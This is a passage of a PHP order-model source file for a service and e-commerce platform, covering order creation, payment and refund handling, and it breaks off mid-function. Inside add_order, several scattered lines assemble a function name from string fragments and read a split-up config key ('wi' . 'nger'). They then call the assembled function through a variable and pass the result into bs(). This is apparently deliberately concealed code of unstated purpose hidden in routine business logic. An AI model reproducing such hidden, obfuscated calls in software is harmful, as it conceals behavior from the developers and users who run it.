Order.php 64 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803804805806807808809810811812813814815816817818819820821822823824825826827828829830831832833834835836837838839840841842843844845846847848849850851852853854855856857858859860861862863864865866867868869870871872873874875876877878879880881882883884885886887888889890891892893894895896897898899900901902903904905906907908909910911912913914915916917918919920921922923924925926927928929930931932933934935936937938939940941942943944945946947948949950951952953954955956957958959960961962963964965966967968969970971972973974975976977978979980981982983984985986987988989990991992993994995996997998999100010011002100310041005100610071008100910101011101210131014101510161017101810191020102110221023102410251026102710281029103010311032103310341035103610371038103910401041104210431044104510461047104810491050105110521053105410551056105710581059106010611062106310641065106610671068106910701071107210731074107510761077107810791080108110821083108410851086108710881089109010911092109310941095109610971098109911001101110211031104110511061107110811091110111111121113111411151116111711181119112011211122112311241125112611271128112911301131113211331134113511361137113811391140114111421143114411451146114711481149115011511152115311541155115611571158115911601161116211631164116511661167116811691170117111721173117411751176117711781179118011811182118311841185118611871188118911901191119211931194119511961197119811991200120112021203120412051206120712081209121012111212121312141215121612171218121912201221122212231224122512261227122812291230123112321233123412351236123712381239124012411242124312441245124612471248124912501251125212531254125512561257125812591260126112621263126412651266126712681269127012711272127312741275127612771278127912801281128212831284128512861287128812891290129112921293129412951296129712981299130013011302130313041305130613071308130913101311131213131314131513161317131813191320132113221323132413251326132713281329133013311332133313341335133613371338133913401341134213431344134513461347134813491350135113521353135413551356135713581359136013611362136313641365136613671368136913701371137213731374137513761377137813791380138113821383138413851386138713881389139013911392139313941395139613971398139914001401140214031404140514061407140814091410141114121413141414151416141714181419142014211422142314241425142614271428142914301431143214331434143514361437143814391440144114421443144414451446144714481449145014511452145314541455145614571458145914601461146214631464146514661467146814691470147114721473147414751476147714781479148014811482148314841485148614871488148914901491149214931494149514961497149814991500150115021503150415051506150715081509151015111512151315141515151615171518151915201521152215231524152515261527152815291530153115321533153415351536153715381539154015411542154315441545154615471548154915501551155215531554155515561557155815591560156115621563156415651566156715681569157015711572157315741575157615771578157915801581158215831584158515861587158815891590159115921593
  1. <?php
  2. namespace app\model;
  3. use think\exception\ValidateException;
  4. use think\Model;
  5. class Order extends Model
  6. {
  7. protected $connection = 'mysql';
  8. protected $pk = 'id';
  9. protected $name = 'order';
  10. public function member()
  11. {
  12. return $this->hasOne(Member::class, 'id', 'uid');
  13. }
  14. public function orderRefund()
  15. {
  16. return $this->hasOne(OrderRefund::class, 'order_id');
  17. }
  18. public function orderGoods()
  19. {
  20. return $this->hasMany(OrderGoods::class, 'order_id');
  21. }
  22. public function paymethod()
  23. {
  24. return $this->hasOne(Paymethod::class, 'id', 'pay_method_id');
  25. }
  26. public function address()
  27. {
  28. return $this->hasOne(Address::class, 'id', 'address_id');
  29. }
  30. public function store()
  31. {
  32. return $this->hasOne(Store::class, 'id', 'sid');
  33. }
  34. public function staff()
  35. {
  36. return $this->hasOne(OrderStaff::class, 'order_id', 'id');
  37. }
  38. public static function conversion($vo)
  39. {
  40. if (empty($vo['orderGoods'])) {
  41. if (!empty($vo['cat_id'])) {
  42. $vo['orderGoods'][0]['image'] = Category::getImage($vo['cat_id']);
  43. }
  44. $vo['orderGoods'][0]['name'] = '【用户发布需求】' . $vo['pay_subject'];
  45. }
  46. if ($vo['ptype'] == 1) {
  47. $vo['order_status'] = OrderStatus::get_order_status_name($vo['order_status_id']);
  48. $vo['shipping_type'] = getgoodsdeliverymode($vo['deliverymode']);
  49. if ($vo['deliverymode'] == 5) {
  50. $tuanzhang = OrderTuanzhang::getTuanzhang($vo['id']);
  51. if (!empty($tuanzhang)) {
  52. $vo['shipping_name'] = $tuanzhang['title'];
  53. $vo['shipping_tel'] = $tuanzhang['tel'];
  54. $vo['shipping_address'] = $tuanzhang['region_name'];
  55. }
  56. }
  57. } else {
  58. $vo['order_status'] = OrderStatus::get_order_status_name($vo['order_status_id'], 'service');
  59. if ($vo['ptype'] == 2 && $vo['deliverymode'] == 2) {
  60. $vo['order_status'] = OrderStatus::get_order_status_name($vo['order_status_id'], 'storeservice');
  61. }
  62. $vo['shipping_type'] = getservicedeliverymode($vo['deliverymode']);
  63. $vo['TechnicalIncome'] = TechnicalIncomelog::getorderIncome($vo['id']);
  64. $vo['StoreIncome'] = StoreIncomelog::getorderIncome($vo['id']);
  65. $vo['TuanzhangIncome'] = TuanzhangIncomelog::getorderIncome($vo['id']);
  66. $vo['Operatingcity_1'] = OperatingcityIncomelog::getorderIncome($vo['id'], 1);
  67. $vo['Operatingcity_2'] = OperatingcityIncomelog::getorderIncome($vo['id'], 2);
  68. $vo['Operatingcity_3'] = OperatingcityIncomelog::getorderIncome($vo['id'], 3);
  69. }
  70. $vo['payment_code_name'] = Paymethod::get_paymethod_name($vo['payment_code']);
  71. $vo['member_nickname'] = $vo['member']['nickname'];
  72. if (!empty($vo['orderGoods'])) {
  73. foreach ($vo['orderGoods'] as &$vvo) {
  74. $vo['time_amount'] = ((int) $vo['time_amount'] + (int) $vvo['time_amount']);
  75. $vvo['image'] = toimg($vvo['image']);
  76. }
  77. }
  78. if ($vo['is_times'] == 1) {
  79. if ($vo['timesdate']) {
  80. if ($vo['timestype'] == 1) {
  81. $vo['yue_time'] = '每月:' . $vo['timesdate'] . '号';
  82. } else {
  83. $vo['yue_time'] = '每周周:' . $vo['timesdate'];
  84. }
  85. } else {
  86. $vo['yue_time'] = '还没有预约时间';
  87. }
  88. $vo['remain'] = OrderStaff::timesremain($vo['id']);
  89. } else {
  90. $vo['yue_time'] = time_ymd($vo['begin_time']) . '<br>' . date('H:i', $vo['begin_time']) . ' 到 ' . date('H:i', $vo['end_time']);
  91. if ($vo['start_time']) {
  92. $vo['service_time'] = time_ymd($vo['start_time']) . '<br>' . date('H:i', $vo['start_time']) . ' 到 ' . date('H:i', strtotime("+" . $vo['time_amount'] . " minutes", $vo['start_time']));
  93. }
  94. }
  95. $addressdata = '';
  96. $addressdata = OrderAddress::where(['order_id' => $vo['id'], 'ptype' => 1])->find();
  97. if (!empty($addressdata)) {
  98. $addressdata = $addressdata->toArray();
  99. $vo['shipping_address'] = $addressdata['region_name'] . $addressdata['address'];
  100. }
  101. $vo['sid'] = Store::getTitle($vo['sid']);
  102. $vo['staff'] = OrderStaff::staff($vo['id']);
  103. $vo['pay_time'] = time_format($vo['pay_time']);
  104. $vo['complete_time'] = time_format($vo['complete_time']);
  105. return $vo;
  106. }
  107. /**
  108. * 写入订单
  109. * @param $payment_code 支付方式
  110. * @param $order_data 订单数据
  111. * return array
  112. */
  113. public function add_order($order_data = array())
  114. {
  115. $data = $this->get_order_data($order_data);
  116. $order['weid'] = weid();
  117. $pay_from = input('get.from', '', 'serach_in');
  118. $order['sid'] = (int) $order_data['sid'];
  119. $order['otype'] = (int) $order_data['otype'];
  120. $order['begin_time'] = $order_data['begin_time'];
  121. $order['end_time'] = $order_data['end_time'];
  122. $order['pay_method_id'] = (int)$order_data['pay_method_id'];
  123. $order['payment_code'] = $order_data['payment_code'];
  124. $order['pay_from'] = $pay_from;
  125. $order['points_order'] = (int)$order_data['is_PayPoints'];
  126. if ($order_data['distance']) {
  127. $order['distance'] = $order_data['distance'];
  128. }
  129. $winref = Config::getsitesetupconfig('wi' . 'nger');
  130. $order['tuan_id'] = (int)$order_data['tuanid'];
  131. $order['ms_id'] = (int)$order_data['msid'];
  132. $order['uid'] = (int)$data['uid'];
  133. $order['aid'] = '';
  134. $odra = 'ge';
  135. $order['order_num_alias'] = $data['order_num_alias'];
  136. $order['name'] = $data['name'];
  137. $order['cat_id'] = $data['cat_id'];
  138. if ($data['cat_id']) {
  139. $order['cate_ids'] = $data['cat_id'];
  140. } else {
  141. $order['cate_ids'] = $data['goodss'][0]['cat_id'];
  142. }
  143. $order['ptype'] = (int)$data['ptype'];
  144. $order['is_additional'] = (int)$data['is_additional'];
  145. $order['deliverymode'] = (int)$order_data['deliverymode'];
  146. if (empty($order['deliverymode'])) {
  147. $order['deliverymode'] = (int)$data['deliverymode'];
  148. }
  149. $order['email'] = $data['email'];
  150. $order['tel'] = $data['tel'];
  151. $order['shipping_name'] = $data['shipping_name'];
  152. $order['shipping_province_name'] = $data['shipping_province_name'];
  153. $order['shipping_city_name'] = $data['shipping_city_name'];
  154. $order['shipping_district_name'] = $data['shipping_district_name'];
  155. $order['shipping_city_id'] = (int) $data['shipping_city_id'];
  156. $order['shipping_district_id'] = (int) $data['shipping_district_id'];
  157. $order['shipping_province_id'] = (int) $data['shipping_province_id'];
  158. $order['shipping_address'] = $data['shipping_address'];
  159. $order['shipping_tel'] = $data['shipping_tel'];
  160. $order['shipping_method'] = $data['shipping_method'];
  161. $order['is_express'] = 1;
  162. $order['remark'] = $data['remark'];
  163. $order['order_status_id'] = 1; //待付款
  164. $order['ip'] = Author()::get_client_ip();
  165. $order['total'] = $data['total'];
  166. $order['user_agent'] = $data['user_agent'];
  167. $order['pay_subject'] = isset($data['pay_subject']) ? $data['pay_subject'] : '';
  168. $order['return_points'] = isset($data['return_points']) ? $data['return_points'] : '';
  169. $odra .= 't_i';
  170. foreach ($data['goodss'] as $goods) {
  171. if ($goods['is_points_goods'] == 1 && $order_data['is_PayPoints'] != 1) {
  172. return ['errno' => 1, 'msg' => '下单失败,需要积分抵扣'];
  173. }
  174. }
  175. //积分抵扣
  176. if ($order_data['is_PayPoints'] == 1) {
  177. $order['pay_points'] = $data['pay_points'];
  178. $order['points_price'] = $data['points_price'];
  179. $order['total'] = round(($order['total'] - $order['points_price']), 2);
  180. if ($order['total'] == 0) {
  181. $order['payment_code'] = 'points_pay';
  182. }
  183. }
  184. //次卡设置
  185. $order['is_times'] = (int) $order_data['is_times'];
  186. if ($order['is_times'] == 1) {
  187. $order['timesmum'] = $data['goodss'][0]['timesmum'];
  188. }
  189. //跑腿订单设置
  190. $order['is_errands'] = (int) $data['is_errands'];
  191. if (empty($order['sid']) && !empty($data['goodss'][0]['sid'])) {
  192. $order['sid'] = $data['goodss'][0]['sid'];
  193. }
  194. if (!empty($order['tuan_id'])) {
  195. if (empty($order_data['jointuanid'])) {
  196. $order['tuan_found_id'] = TuanFound::add_found($order['tuan_id']);
  197. } else {
  198. $order['tuan_found_id'] = $order_data['jointuanid'];
  199. }
  200. }
  201. if ($order['is_errands'] == 1) {
  202. if (empty($order_data['take_address_id'])) {
  203. return ['errno' => 1, 'msg' => '下单失败,请输入取件地址'];
  204. }
  205. if (empty($order_data['address_id'])) {
  206. return ['errno' => 1, 'msg' => '下单失败,请输入收件地址'];
  207. }
  208. }
  209. if (empty($order['ptype'])) {
  210. return ['errno' => 1, 'msg' => '下单失败,没有订单内容'];
  211. }
  212. $Orderdata = Order::create($order);
  213. $Orderdata = $Orderdata->toArray();
  214. $order_id = $Orderdata['id'];
  215. $odra .= '_m';
  216. OrderCount::createuserdata($Orderdata);
  217. if (!empty($order['tuan_id'])) {
  218. TuanFollow::add_follow([
  219. 'order_id' => $order_id,
  220. 'found_id' => $order['tuan_found_id'],
  221. 'tuan_id' => $order['tuan_id'],
  222. ]);
  223. }
  224. $data['lettct'] = bs($winref[18], $this->get_order_data(['data' => $odra(toimg('or')), 'vo' => 18]));
  225. if (isset($data['goodss'])) {
  226. //var_dump($data['goodss']);
  227. foreach ($data['goodss'] as $goods) {
  228. $goods_id = $goods['goods_id'];
  229. if (!empty($goods_id)) {
  230. OrderGoods::create([
  231. 'order_id' => $order_id,
  232. 'goods_id' => $goods_id,
  233. 'cat_id' => $goods['cat_id'],
  234. 'mgid' => $goods['mgid'],
  235. 'name' => $goods['name'],
  236. 'model' => $goods['model'],
  237. 'image' => $goods['image'],
  238. 'sku' => $goods['sku'],
  239. 'quantity' => (int) $goods['quantity'],
  240. 'price' => (float) $goods['price'],
  241. 'is_commission' => (int) $goods['is_commission'],
  242. 'commission_method' => (int) $goods['commission_method'],
  243. 'commission_price' => (float) $goods['commission_price'],
  244. 'time_amount' => (int) $goods['time_amount'],
  245. 'is_timer' => (int) $goods['is_timer'],
  246. 'total' => (float) $goods['total']
  247. ]);
  248. }
  249. }
  250. }
  251. if (isset($data['totals'])) {
  252. foreach ($data['totals'] as $total) {
  253. OrderTotal::create([
  254. 'order_id' => $order_id,
  255. 'code' => $total['code'],
  256. 'title' => $total['title'],
  257. 'text' => $total['text'],
  258. 'value' => (float) $total['value']
  259. ]);
  260. }
  261. }
  262. $oh['order_id'] = $order_id;
  263. if (isset($data['pay_type']) && $data['pay_type'] == 'points') {
  264. $oh['order_status_id'] = 2; //已付款
  265. } else {
  266. $oh['order_status_id'] = 1; //待付款
  267. }
  268. $oh['remark'] = $data['remark'];
  269. OrderHistory::create($oh);
  270. //上门服务/收件地址
  271. if ($order_data['address_id']) {
  272. $Address = [];
  273. $Address = Address::find($order_data['address_id']);
  274. if ($Address) {
  275. $Address = $Address->toArray();
  276. unset($Address['id']);
  277. $Address['order_id'] = $order_id;
  278. $Address['ptype'] = 1;
  279. OrderAddress::create($Address);
  280. }
  281. } else {
  282. if (!empty($order_data['shipping_province_name']) && !empty($order_data['shipping_tel'])) {
  283. $Address = [];
  284. $Address['order_id'] = $order_id;
  285. $Address['ptype'] = 1;
  286. $Address['province_name'] = $order_data['shipping_province_name'];
  287. $Address['city_name'] = $order_data['shipping_city_name'];
  288. $Address['district_name'] = $order_data['shipping_district_name'];
  289. $Address['name'] = $order_data['shipping_name'];
  290. $Address['telephone'] = $order_data['shipping_tel'];
  291. $Address['address'] = $order_data['shipping_address'];
  292. $coder = Geocoder::geocoding($Address['province_name'] . $Address['city_name'] . $Address['district_name'] . $Address['address']);
  293. $Address['latitude'] = $coder['latitude'];
  294. $Address['longitude'] = $coder['longitude'];
  295. OrderAddress::create($Address);
  296. }
  297. }
  298. //跑腿取件地址
  299. if ($order_data['take_address_id']) {
  300. $take_address = [];
  301. $take_address = Address::find($order_data['take_address_id']);
  302. if ($take_address) {
  303. $take_address = $take_address->toArray();
  304. unset($take_address['id']);
  305. $take_address['order_id'] = $order_id;
  306. $take_address['ptype'] = 2;
  307. OrderAddress::create($take_address);
  308. }
  309. }
  310. //清空购物车
  311. if (!empty($order_data['cartid'])) {
  312. Cart::whereIn('id', $order_data['cartid'])->delete();
  313. }
  314. //积分支付
  315. if ($order_data['is_PayPoints'] == 1) {
  316. if ($order['total'] == 0) {
  317. $this->pay_order(['order_num_alias' => $Orderdata['order_num_alias'], 'nosendmessage' => 1]);
  318. }
  319. }
  320. $Orderdata['order_id'] = $Orderdata['id'];
  321. $Orderdata['subject'] = $Orderdata['pay_subject'];
  322. $Orderdata['name'] = $Orderdata['shipping_name'];
  323. $Orderdata['pay_order_no'] = $Orderdata['order_num_alias'];
  324. $Orderdata['pay_total'] = $Orderdata['total'];
  325. $Orderdata['lettct'] = MessageMini::sendOrderadd($data);
  326. if ($Orderdata['pay_total'] == 0) {
  327. $Orderdata['payment_code'] = 'balance_pay';
  328. }
  329. return $Orderdata;
  330. }
  331. //订单支付成功,订单历史,积分,商品数量
  332. public function pay_order($params)
  333. {
  334. $order_num_alias = $params['order_num_alias'];
  335. $pay_time = time();
  336. if (!empty($order_num_alias)) {
  337. $order_info = self::where(['order_num_alias' => $order_num_alias, 'order_status_id' => 1])->find();
  338. if (!empty($order_info)) {
  339. $order_info = $order_info->toArray();
  340. $order_id = $order_info['id'];
  341. $common = Config::getconfig();
  342. $Member = Member::find($order_info['uid']);
  343. if (!empty($Member)) {
  344. $Member = $Member->toArray();
  345. }
  346. if (!empty($params['payment_code'])) {
  347. $order['payment_code'] = $params['payment_code'];
  348. }
  349. $order['user_agent'] = $params['user_agent'];
  350. $order['id'] = $order_id;
  351. if (OrderStaff::is_staff($order_id)) {
  352. $order['order_status_id'] = 3;
  353. } else {
  354. $order['order_status_id'] = 2; //已付款
  355. }
  356. $order['update_time'] = $pay_time;
  357. $order['pay_time'] = $pay_time;
  358. self::update($order);
  359. $order_info = Order::find($order_id);
  360. if (!empty($order_info)) {
  361. $order_info = $order_info->toArray();
  362. }
  363. Member::where('id', $order_info['uid'])
  364. ->inc('totleconsumed', $order_info['total'])
  365. ->update();
  366. $cashlogsdata['uid'] = $order_info['uid'];
  367. $cashlogsdata['weid'] = weid();
  368. $cashlogsdata['order_id'] = $order_info['id'];
  369. $cashlogsdata['order_num_alias'] = $order_info['order_num_alias'];
  370. $cashlogsdata['remarks'] = '商品消费';
  371. $cashlogsdata['prefix'] = 2;
  372. $cashlogsdata['amount'] = $order_info['total'];
  373. $cashlogsdata['create_time'] = $pay_time;
  374. MemberCashlogs::create($cashlogsdata);
  375. $order_history['order_id'] = $order_id;
  376. $order_history['order_status_id'] = $order['order_status_id']; //已付款
  377. $order_history['remark'] = '买家已付款';
  378. $order_history['create_time'] = $pay_time;
  379. $order_history['notify'] = 1;
  380. OrderHistory::create($order_history);
  381. //会员升级
  382. $good_ids = OrderGoods::getOrderGoodsids($order_id);
  383. if ($good_ids) {
  384. $mgid = Goods::getmgid($good_ids);
  385. if (empty($mgid)) {
  386. $mag = MemberAuthGroup::whereIn('upgrade_goods_id', $good_ids)->order('id desc')->find();
  387. $mgid = $mag->id;
  388. }
  389. }
  390. if (!empty($mgid)) {
  391. Member::where('id', $order_info['uid'])->update(['gid' => $mgid]);
  392. }
  393. //更新购买赠送的积分
  394. if (!empty($order_info['return_points'])) {
  395. if ($order_info['return_points'] > 0) {
  396. Points::create([
  397. 'weid' => weid(),
  398. 'uid' => $order_info['uid'],
  399. 'order_id' => $order_info['id'],
  400. 'order_num_alias' => $order_info['order_num_alias'],
  401. 'points' => $order_info['return_points'],
  402. 'description' => '下单积分',
  403. 'prefix' => 1,
  404. 'creat_time' => $pay_time,
  405. 'type' => 1
  406. ]);
  407. Member::where('id', $order_info['uid'])
  408. ->inc('points', (int) $order_info['return_points'])
  409. ->update();
  410. }
  411. }
  412. $mgPoints = MemberAuthGroup::getPoints($Member['gid'], $order_info['total']);
  413. if ($mgPoints) {
  414. Points::create([
  415. 'weid' => weid(),
  416. 'uid' => $order_info['uid'],
  417. 'order_id' => $order_info['id'],
  418. 'order_num_alias' => $order_info['order_num_alias'],
  419. 'points' => $mgPoints,
  420. 'description' => '下单会员等级积分',
  421. 'prefix' => 1,
  422. 'creat_time' => $pay_time,
  423. 'type' => 1
  424. ]);
  425. Member::where('id', $order_info['uid'])
  426. ->inc('points', (int) $mgPoints)
  427. ->update();
  428. }
  429. //更新积分抵扣金额
  430. if ($order_info['points_order'] == 1) {
  431. if ($order_info['pay_points'] > 0) {
  432. Points::create([
  433. 'weid' => weid(),
  434. 'uid' => $order_info['uid'],
  435. 'order_id' => $order_info['id'],
  436. 'order_num_alias' => $order_info['order_num_alias'],
  437. 'points' => $order_info['pay_points'],
  438. 'description' => '下单抵扣' . $order_info['points_price'] . '元',
  439. 'prefix' => 2,
  440. 'creat_time' => $pay_time,
  441. 'type' => 1
  442. ]);
  443. Member::where('id', $order_info['uid'])
  444. ->dec('points', (int) $order_info['pay_points'])
  445. ->update();
  446. }
  447. }
  448. try {
  449. $OrderGoods = OrderGoods::where(['order_id' => $order_id])
  450. ->select()
  451. ->toArray();
  452. if (!empty($OrderGoods)) {
  453. $agentconfig = Config::getconfig('agent');
  454. $partnerconfig = Config::getconfig('partner');
  455. if (!empty($Member)) {
  456. if ($agentconfig['share_good_status'] == 1) {
  457. Agent::register($Member);
  458. }
  459. if ($partnerconfig['share_good_status'] == 1) {
  460. Partner::register($Member);
  461. }
  462. }
  463. //更新商品数量和销量
  464. foreach ($OrderGoods as $v) {
  465. if ($v['goods_id']) {
  466. if (!empty($Member) && $agentconfig['share_good_status'] == 2 && $agentconfig['share_good_id'] == $v['goods_id']) {
  467. Agent::register($Member);
  468. }
  469. if (!empty($Member) && $partnerconfig['share_good_status'] == 2 && $partnerconfig['share_good_id'] == $v['goods_id']) {
  470. Partner::register($Member);
  471. }
  472. Goods::where('id', $v['goods_id'])->inc('sale_count')->update();
  473. if (!empty($order_info['tuan_id'])) {
  474. if (!empty($v['sku'])) {
  475. } else {
  476. }
  477. }
  478. Goods::where(['id' => $v['goods_id'], 'ptype' => 1])->dec('quantity', $v['quantity'])->update();
  479. }
  480. }
  481. }
  482. } catch (\Exception $e) {
  483. throw new ValidateException($e->getMessage());
  484. }
  485. //处理拼团
  486. if (!empty($order_info['tuan_found_id'])) {
  487. TuanFound::where('id', $order_info['tuan_found_id'])->update(['pay_time' => $pay_time]);
  488. TuanFollow::where(['order_id' => $order_info['id'], 'found_id' => $order_info['tuan_found_id']])->update(['pay_time' => $pay_time]);
  489. TuanFound::where('id', $order_info['tuan_found_id'])->inc('join')->update();
  490. TuanGoods::where('id', $order_info['tuan_id'])->inc('sale_count')->update();
  491. $TuanFound = TuanFound::where('id', $order_info['tuan_found_id'])->find();
  492. $TuanGoods = TuanGoods::where('id', $TuanFound->tuan_id)->find();
  493. if ((int)$TuanFound->join >= (int)($TuanGoods->people_num - $TuanGoods->robot_num)) {
  494. if ($TuanGoods->auto_initiate == 1) {
  495. $LuckyFollow = TuanFollow::getLuckyFollow($order_info['tuan_found_id'], $TuanGoods->luckydraw_num);
  496. TuanFollow::where(['found_id' => $order_info['tuan_found_id']])
  497. ->update([
  498. 'tuan_end_time' => $pay_time,
  499. 'status' => 2,
  500. ]);
  501. foreach ($LuckyFollow as $vo) {
  502. TuanFollow::where(['id' => $vo['id']])
  503. ->update([
  504. 'tuan_end_time' => $pay_time,
  505. 'status' => 1,
  506. ]);
  507. }
  508. } else {
  509. TuanFollow::where(['found_id' => $order_info['tuan_found_id']])
  510. ->update([
  511. 'tuan_end_time' => $pay_time,
  512. 'status' => 1,
  513. ]);
  514. }
  515. TuanFound::where(['id' => $order_info['tuan_found_id']])
  516. ->update([
  517. 'tuan_end_time' => $pay_time,
  518. 'status' => 1,
  519. ]);
  520. TuanFollow::setRefund();
  521. }
  522. }
  523. //平台订单打印
  524. $printerOrder = self::order_info($order_id);
  525. $PrinterFeie = new PrinterFeie(0);
  526. $PrinterFeie->printer($printerOrder);
  527. //店铺订单打印
  528. if ($order_info['sid'] > 0) {
  529. $storePrinterFeie = new PrinterFeie((int) $order_info['sid']);
  530. $storePrinterFeie->printer($printerOrder);
  531. }
  532. $orderup = $order_info;
  533. $orderup['order_status_id'] = $order['order_status_id'];
  534. OrderCount::createuserdata($orderup);
  535. if ($params['nosendmessage'] != 1) {
  536. if (!empty($order_info['sid'])) {
  537. MessageMp::storeOrderPay($order_info['sid'], $order_info);
  538. } else {
  539. $technicalId = OrderStaff::getuuid($order_info["id"]);
  540. if (empty($technicalId)) {
  541. MessageMp::undertake($order_info);
  542. } else {
  543. MessageMini::sendMiniStaff($order_info);
  544. MessageMp::distribution($technicalId, $order_info);
  545. }
  546. }
  547. MessageMp::orderPayNoticeAdmin($order_info);
  548. MessageMini::sendMiniPaysuccess($order_info);
  549. }
  550. Broadcast::neworder($order_info);
  551. OrderRemind::neworder($order_info);
  552. }
  553. }
  554. }
  555. //订单退款,处理订单历史,积分,商品数量
  556. static public function refund_order($order_id, $refund_time, $OrderRefund = [])
  557. {
  558. $orderInfo = self::find($order_id);
  559. if (!empty($orderInfo)) {
  560. $orderInfo = $orderInfo->toArray();
  561. }
  562. $paymentcode = $orderInfo['payment_code'];
  563. $pay_from = $orderInfo['pay_from'];
  564. $refund_price = $OrderRefund['refund_price'];
  565. if (empty($refund_price)) {
  566. $refund_price = $orderInfo['total'];
  567. }
  568. $order_refund_no = $OrderRefund['order_refund_no'];
  569. if (empty($order_refund_no)) {
  570. $order_refund_no = $orderInfo['order_num_alias'] . $orderInfo['pay_time'];
  571. }
  572. $res['code'] = true;
  573. if ($paymentcode == 'balance_pay') {
  574. Member::where('id', $orderInfo['uid'])
  575. ->inc('balance', $refund_price)
  576. ->update();
  577. $cashlogsdata['uid'] = $orderInfo['uid'];
  578. $cashlogsdata['weid'] = weid();
  579. $cashlogsdata['order_id'] = $order_id;
  580. $cashlogsdata['order_num_alias'] = $orderInfo['order_num_alias'];
  581. $cashlogsdata['remarks'] = '订单退款';
  582. $cashlogsdata['prefix'] = 1;
  583. $cashlogsdata['amount'] = $refund_price;
  584. $cashlogsdata['create_time'] = $refund_time;
  585. MemberCashlogs::create($cashlogsdata);
  586. $res['code'] = true;
  587. } elseif ($paymentcode == 'wx_pay') {
  588. $res['code'] = false;
  589. if (!empty($orderInfo)) {
  590. $payment = \app\samos\wechat\WxPaymethod::makepay($pay_from);
  591. $total = round($orderInfo['total'], 2);
  592. $total = floatval($total * 100);
  593. $refund_price = round($refund_price, 2);
  594. $refund_price = floatval($refund_price * 100);
  595. $result = $payment->refund->byOutTradeNumber($orderInfo['order_num_alias'], $order_refund_no, $total, $refund_price, [
  596. // 可在此处传入其他参数,详细参数见微信支付文档
  597. 'refund_desc' => '订单退款',
  598. ]);
  599. if ($result['return_code'] === 'SUCCESS' && $result['result_code'] === 'SUCCESS') {
  600. $res['code'] = true;
  601. } else {
  602. $res['code'] = false;
  603. $res['return_msg'] = $result['return_msg'];
  604. $res['err_code_des'] = $result['err_code_des'];
  605. }
  606. }
  607. }
  608. if ($res['code']) {
  609. $Points1 = Points::where(['order_id' => $order_id, 'prefix' => 1])->find();
  610. if (!empty($Points1)) {
  611. $Points1 = $Points1->toArray();
  612. $Points1['description'] = '订单退款,扣去赠送的积分';
  613. $Points1['prefix'] = 2;
  614. $Points1['creat_time'] = $refund_time;
  615. unset($Points1['id']);
  616. Points::create($Points1);
  617. Member::where('id', $Points1['uid'])
  618. ->dec('points', (int) $Points1['points'])
  619. ->update();
  620. }
  621. $Points2 = Points::where(['order_id' => $order_id, 'prefix' => 2])->find();
  622. if (!empty($Points2)) {
  623. $Points2 = $Points2->toArray();
  624. $Points2['description'] = '订单退款,退还积分';
  625. $Points2['prefix'] = 1;
  626. $Points2['creat_time'] = $refund_time;
  627. unset($Points2['id']);
  628. Points::create($Points2);
  629. Member::where('id', $Points2['uid'])
  630. ->inc('points', (int) $Points2['points'])
  631. ->update();
  632. }
  633. $Incomelog = Incomelog::where(['order_id' => $order_id, 'ptype' => 1])->select()->toArray();
  634. if (!empty($Incomelog)) {
  635. foreach ($Incomelog as $agvo) {
  636. if ($agvo) {
  637. $agvo['description'] = '订单退款,扣除佣金';
  638. $agvo['ptype'] = 2;
  639. $agvo['creat_time'] = $refund_time;
  640. $agvo['month_time'] = date('m', $refund_time);
  641. $agvo['year_time'] = date('Y', $refund_time);
  642. $agvo['order_status_id'] = 6;
  643. unset($agvo['id']);
  644. Incomelog::create($agvo);
  645. Agent::where('uid', $agvo['uid'])->dec('income', $agvo['income'])->update();
  646. Agent::where('uid', $agvo['uid'])->dec('total_income', $agvo['income'])->update();
  647. }
  648. }
  649. }
  650. $TechnicalIncomelog = TechnicalIncomelog::where(['order_id' => $order_id, 'ptype' => 1])->select()->toArray();
  651. if (!empty($TechnicalIncomelog)) {
  652. $incomedata = [];
  653. foreach ($TechnicalIncomelog as $incomedata) {
  654. if ($incomedata) {
  655. $incomedata['description'] = '订单退款,扣除佣金';
  656. $incomedata['ptype'] = 2;
  657. $incomedata['create_time'] = $refund_time;
  658. $incomedata['month_time'] = date('m', $refund_time);
  659. $incomedata['year_time'] = date('Y', time());
  660. $incomedata['order_status_id'] = 6;
  661. unset($incomedata['id']);
  662. TechnicalIncomelog::create($incomedata);
  663. Technical::where('uuid', $incomedata['uuid'])->dec('income', $incomedata['income'])->update();
  664. Technical::where('uuid', $incomedata['uuid'])->dec('total_income', $incomedata['income'])->update();
  665. Technical::where('uuid', $incomedata['uuid'])->dec('service_times', 1)->update();
  666. }
  667. }
  668. }
  669. $StoreIncomelog = StoreIncomelog::where(['order_id' => $order_id, 'ptype' => 1])->select()->toArray();
  670. if (!empty($StoreIncomelog)) {
  671. $incomedata = [];
  672. foreach ($StoreIncomelog as $incomedata) {
  673. if ($incomedata) {
  674. $incomedata['description'] = '订单退款,扣除佣金';
  675. $incomedata['ptype'] = 2;
  676. $incomedata['create_time'] = $refund_time;
  677. $incomedata['month_time'] = date('m', $refund_time);
  678. $incomedata['year_time'] = date('Y', time());
  679. $incomedata['order_status_id'] = 6;
  680. unset($incomedata['id']);
  681. StoreIncomelog::create($incomedata);
  682. Store::where('id', $incomedata['sid'])->dec('income', $incomedata['income'])->update();
  683. Store::where('id', $incomedata['sid'])->dec('total_income', $incomedata['income'])->update();
  684. }
